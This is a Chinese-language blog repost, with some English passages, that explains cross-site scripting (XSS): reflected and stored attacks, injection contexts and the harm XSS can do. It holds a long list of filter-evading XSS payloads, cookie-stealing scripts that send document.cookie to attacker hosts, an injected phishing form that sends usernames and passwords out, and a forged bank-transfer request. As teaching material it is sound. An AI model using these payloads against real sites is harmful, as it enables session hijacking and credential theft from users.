现在的位置: 首页 > 综合 > 正文

XSS介绍与攻击

2013年02月04日 ⁄ 综合 ⁄ 共 8918字 ⁄ 字号 评论关闭

XSS总览:

Cross-Site Scripting attacks are a type of injectionproblem, in which malicious scripts are injected into the otherwise benign andtrusted web sites.
Flaws that allow these attacks to succeed are quite widespread and occuranywhere a web application uses input from a user in the output it generateswithout validating or encoding it.

Cross-Site Scripting (XSS) attacks occur when:
Data enters a Web application through an untrusted source, most frequently aweb request.
The data is included in dynamic content that is sent to a web user withoutbeing validated for malicious code.

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。

XSS攻击中,一般有三个角色参与:攻击者、目标服务器、受害者的浏览器。

由于有的服务器并没有对用户的输入进行安全方面的验证,攻击者就可以很容易地通过正常的输入手段,夹带进一些恶意的HTML脚本代码。当受害者的浏览器访问目标服务器上被注入恶意脚本的页面后,由于它对目标服务器的信任,这段恶意脚本的执行不会受到什么阻碍。而此时,攻击者的目的就已经达到了。

XSS攻击种类

1. Reflected XSS Attacks

Reflected attacks are those where the injected code isreflected off the web server, such as in an error message, search result, orany other response that includes some or all of the input sent to the server aspart of
the request. Reflected attacks are delivered to victims via anotherroute, such as in an e-mail message, or on some other web server. When a useris tricked into clicking on a malicious link or submitting a specially craftedform, the injected code travels to
the vulnerable web server, which reflects theattack back to the user’s browser. The browser then executes the code becauseit came from a "trusted" server.

反射型XSS,又称非持久型XSS。之所以称为反射型XSS,则是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式“反射”回来的。而称为非持久型XSS,则是因为这种攻击方式具有一次性。攻击者通过电子邮件等方式将包含注入脚本的恶意链接发送给受害者,当受害者点击该链接时,注入脚本被传输到目标服务器上,然后服务器将注入脚本反射到受害者的浏览器上,从而在该浏览器上执行了这段脚本

比如攻击者将如下链接发送给受害者: http://www.targetserver.com/search.asp?input=<script>alert(document.cookie);</script>

当受害者点击这个链接的时候,注入的脚本被当作搜索的关键词发送到目标服务器的search.asp页面中,则在搜索结果的返回页面中,这段脚本将被当作搜索的关键词而嵌入。这样,当用户得到搜索结果页面后,这段脚本也得到了执行。这就是反射型XSS攻击的原理,可以看到,攻击者巧妙地通过反射型XSS的攻击方式,达到了在受害者的浏览器上执行脚本的目的。由于代码注入的是一个动态产生的页面而不是永久的页面,因此这种攻击方式只在点击链接的时候才产生作用,这也是它被称为非持久型XSS的原因。

2. Stored XSS Attacks

Stored attacks are those where the injected code ispermanently stored on the target servers, such as in a database, in a messageforum, visitor log, comment field, etc. The victim then retrieves the maliciousscript from
the server when it requests the stored information.

存储型XSS,又称持久型XSS,他和反射型XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器的数据库和文件中。这种攻击多见于论坛,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来,恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候,恶意脚本则会在他们的浏览器中得到执行,从而受到了攻击。比如用<script>镶嵌恶意脚本在某帖子,浏览者均会中招。(http://www.youtube.com/watch?v=7M-R6U2i5iI)

可以看到,存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面当中,所有访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接,那么反射型的XSS攻击将没有多大作为,而存储型XSS则不同,由于它注入的往往是一些我们所信任的页面,因此无论我们多么小心,都难免会受到攻击。可以说,存储型XSS更具有隐蔽性,带来的危害也更大,除非服务器能完全阻止注入,否则任何人都很有可能受到攻击。

攻击手段:

1. XSS using Script in Attributes

<body onload=alert('test1')>
<b onmouseover=alert('Wufff!')>clickme!</b>http://www.51testing.com/?uid-352747-action-viewspace-itemid-814838
< img src="http://url.to.file.which/not.exist"onerror=alert(document.cookie);>

2. XSS using Script Via Encoded URI Schemes

If we need to hide against web application filters wemay try to encode string characters
< IMG SRC=j&#X41vascript:alert('test2')> (UTF-8)

3. XSS using code encoding

We may encode our script in base64 and place it inMETA tag. This way we get rid of alert() totally.
< META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29

4. Injecting UP

The most common way is to close the current contextand start a new code context. For example, this is what you do when you
close an HTML attribute with a"> and start a new <script> tag. This attack closes the originalcontext (going up in the hierarchy) and then starts a new tag that will allowscript code to execute.

5. Injecting DOWN

For example, ifthe attacker is able to change <img src="...UNTRUSTED DATAHERE..." /> into < imgsrc="javascript:alert(document.cookie)" /> they do not have to break out of the HTML
attributecontext. Instead, they introduce a subcontext that allows scripting within thesrc attribute (in this case a javascript url). Another example is the expression()functionality in CSS properties. Even though you may not be able to escape aquoted CSS
property to inject up, you may be able to introduce something likexss:expression(document.write(document.cookie)) without ever leaving thecurrent context.

6. html标签注入

  这是最常见的一种,主要入口为表单项(一般就是正则过滤不周全)、内联样式表(exploer)

  正则过滤的解决办法,php一般会使用htmlspecialchars或者htmlentities函数进行转义

  注入方式有<script>/图片标签/连接标签/head头中其他标签,比如:

  <sCrIpT. src=xss.js></sCrIpT><<script>alert("xss");//<</script>

  img src="javascript.:alert('xss');"><img"""><script>alert("xss")</script>">

  <script. a=">"SRC="xss.js"></script> <iframe.src="javascript.:alert('xss');"></iframe>

7. js代码注入

   一般为使用JS代码直接引用,不经校验的字符串,解析不安全的json(p)数据等

  比如一个name字段,没有经过过滤时,当name等于以下输入时

  ';alert('xss');//

'';!--"<xss>=&{()}

  那使用document.write('u name is' + name);,就会破坏原有结构,插入不期望的数据

更多XSS行为

                             

<IMGSRC="javascript:alert('XSS');">

<IMGSRC=javascript:alert('XSS')>

<IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">

<IMG SRC="jav    ascript:alert('XSS');">

<SCRIPT/XSSSRC="http://example.com/xss.js"></SCRIPT>

<<SCRIPT>alert("XSS");//<</SCRIPT>

<iframesrc=http://example.com/scriptlet.html <

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

<BODYBACKGROUND="javascript:alert('XSS')">

<BODYONLOAD=alert(document.cookie)>

<BODYonload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>

<IMGDYNSRC="javascript:alert('XSS')">

<IMGDYNSRC="javascript:alert('XSS')">

<BR SIZE="&{alert('XSS')}">

<IMGSRC='vbscript:msgbox("XSS")'>

<TABLEBACKGROUND="javascript:alert('XSS')">

<DIV STYLE="width:expression(alert('XSS'));">

<DIVSTYLE="background-image: url(javascript:alert('XSS'))">

<STYLETYPE="text/javascript">alert('XSS');</STYLE>

<STYLEtype="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

<?='<SCRIPT>alert("XSS")</SCRIPT>'?>

<AHREF="javascript:document.location='http://www.example.com/'">XSS</A>

<IMGSRC=javascript:alert('XSS')>

<EMBEDSRC="http://ha.ckers.org/xss.swf"AllowScriptAccess="always"></EMBED>

a="get";

b="URL(""";

c="javascript:";

d="alert('XSS');"")";

eval(a+b+c+d);

XSS攻击的手段及其危害

1.窃取Cookie

代码:<script>location.href ='http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;</script>

其中location.href是指页面跳转到

hxxp://www.VulnerableSite.com/index.php?search=<script>location.href= 'http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;</script>

或者

"><a href="#"onclick="document.location='http://yoursite.com/whateveryouwant.php?cookie='+escape(document.cookie);"><Click Me></a></script>

document.location和location.href基本一样

通过XSS攻击,由于注入代码是在受害者的浏览器上执行,因此能够很方便地窃取到受害者的Cookie信息。比如,我们只要注入类似如下的代码:

<script>location.replace(“http://www.attackpage.com/record.asp?secret=“+document.cookie)</script>

当受害者的浏览器执行这段脚本的时候,就会自动访问攻击者建立的网站www.attackpage.com,打开其中的recourd.asp,将受害者浏览器的Cookie信息给记录下来。这样,攻击者就得到了用户的Cookie信息。

得到受害者的Cookie信息后,攻击者可以很方便地冒充受害者,从而拥有其在目标服务器上的所有权限,相当于受害者的身份认证被窃取了。这样,攻击者可以任意地利用受害者的身份访问服务器上的资源和服务,甚至对受害者和服务器上的数据进行破坏。如果受害者拥有管理员权限,攻击者还可以利用其提升自己账号的权限,从而进行进一步的攻击。

注:Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)

document.location.hrefdocument.location.replace都可以实现从A页面切换到B页面,但他们的区别是:
document.location.href切换后,可以退回到原页面。而用document.location.replace切换后,不可以通过后退退回到原页面。
关于document.location.href或其他可回退的切换方式
document.location 相当于 document.URL 声明了装载文档的URL,
除非发生了服务器重定向, 否则该属性的值与Window.location.href的值是一样的.

2.引导钓鱼

所谓钓鱼攻击就是构建一个钓鱼页面,诱骗受害者在其中输入一些敏感信息,然后将其发送给攻击者。利用XSS的注入脚本,我们也可以很方便地注入钓鱼页面的代码,从而引导钓鱼攻击。比如下面这样一段代码:

<script>

function hack()

{

location.replace(“http://www.attackpage.com/record.asp?username=“

+document.forms[0].user.value+ “password=” + document.forms[0].pass.value);

}

</script>

<form>

<br><br><HR><H3>这个功能需要登录:</H3 >

<br><br>请输入用户名:<br>

<input type=”text” id=”user”name=”user”>

<br>请输入密码:<br>

<input type=”password” name =“pass”>

<br><input type=”submit”name=”login” value=”登录”onclick=”hack()”>

</form><br><br><HR>

注入上面的代码后,则会在原来的页面上,插入一段表单,要求用户输入自己的用户名和密码,而当用户点击“登录”按钮后,则会执行hack()函数,将用户的输入发送到攻击者指定的网站上去。这样,攻击者就成功窃取了该用户的账号信息。可以看到,和一般的钓鱼攻击不同,XSS引导的钓鱼攻击由于是对用户信任的网站页面进行修改,因此隐蔽性很高,而用户的账号失窃往往会带来重大的损失,因此它的危害也是十分巨大的。

3.跨站请求伪造

跨站请求伪造(Cross-SiteRequest ForgeryCSRF),作为OWASP组织的2007年提出十大安全漏洞第五,它也属于XSS攻击的一种衍生。所谓跨站请求伪造,就是攻击者利用XSS注入攻击的方式,注入一段脚本,而当受害者的浏览器运行这段脚本时,脚本伪造受害者发送了一个合法请求。比如我们注入如下的HTML代码:

<imgsrc =“http://www.bank.com/transfer.do?toAct=123456&money=10000>

假如上面的代码中所访问的是某个银行网站的转账服务,则当受害者的浏览器运行这段脚本时,就会向攻击者指定的账户(示例的123456)执行转账操作。由于这个转账请求是在受害者的浏览器中运行的,因此浏览器也会自动将受害者的Cookie信息一并发送。这样,发送的请求就好像是受害者自己发送的一样,银行网站也将认可这个请求的合法性,攻击者也就达到了伪造请求的目的。

4.注入恶意软件

除了直接注入恶意脚本以外,通过XSS攻击,攻击者也可以很方便地在脚本中引入一些恶意软件,比如病毒、木马、蠕虫等等。例如,攻击者可以在某个自己建立的页面上放置一些恶意软件,然后用XSS注入的方式,插入一段引用该页面的脚本。这样当受害者的浏览器执行这段脚本的时候,就会自动访问放置了恶意软件的页面,从而受到这些恶意软件的感染。

利用XSS注入恶意软件的方式,攻击者可以很方便地在互联网上传播病毒、木马和蠕虫,通过这种途径,攻击者就可以通过这些病毒、木马和蠕虫,进一步地对受害者的主机发动攻击。目前,互联网上的“挂马”现象非常普遍,而XSS注入的出现也无疑给“挂马”的攻击者指明了又一个新的方向。通过传播这些木马,窃取合法用户的敏感信息,不少非法攻击者也逐渐将这一过程产业化,经常可以见到以信封方式批量兜售账号密码的现象。这也给许多正常的网络用户造成了许多无法挽回的巨大损失,造成的危害也很大。

 

Reference:
http://www.cnblogs.com/coderzh/archive/2008/09/06/1285500.html

http://www.51testing.com/?uid-316693-action-viewspace-itemid-814910

http://www.hackbase.com/tech/2012-05-07/66397.html

http://hi.baidu.com/cuttinger/item/c0fe214a3e585f0ec01613cd
http://www.51testing.com/?uid-352747-action-viewspace-itemid-814838

 

 

转载:http://www.cnblogs.com/songhan/archive/2012/07/15/2592019.html

抱歉!评论已关闭.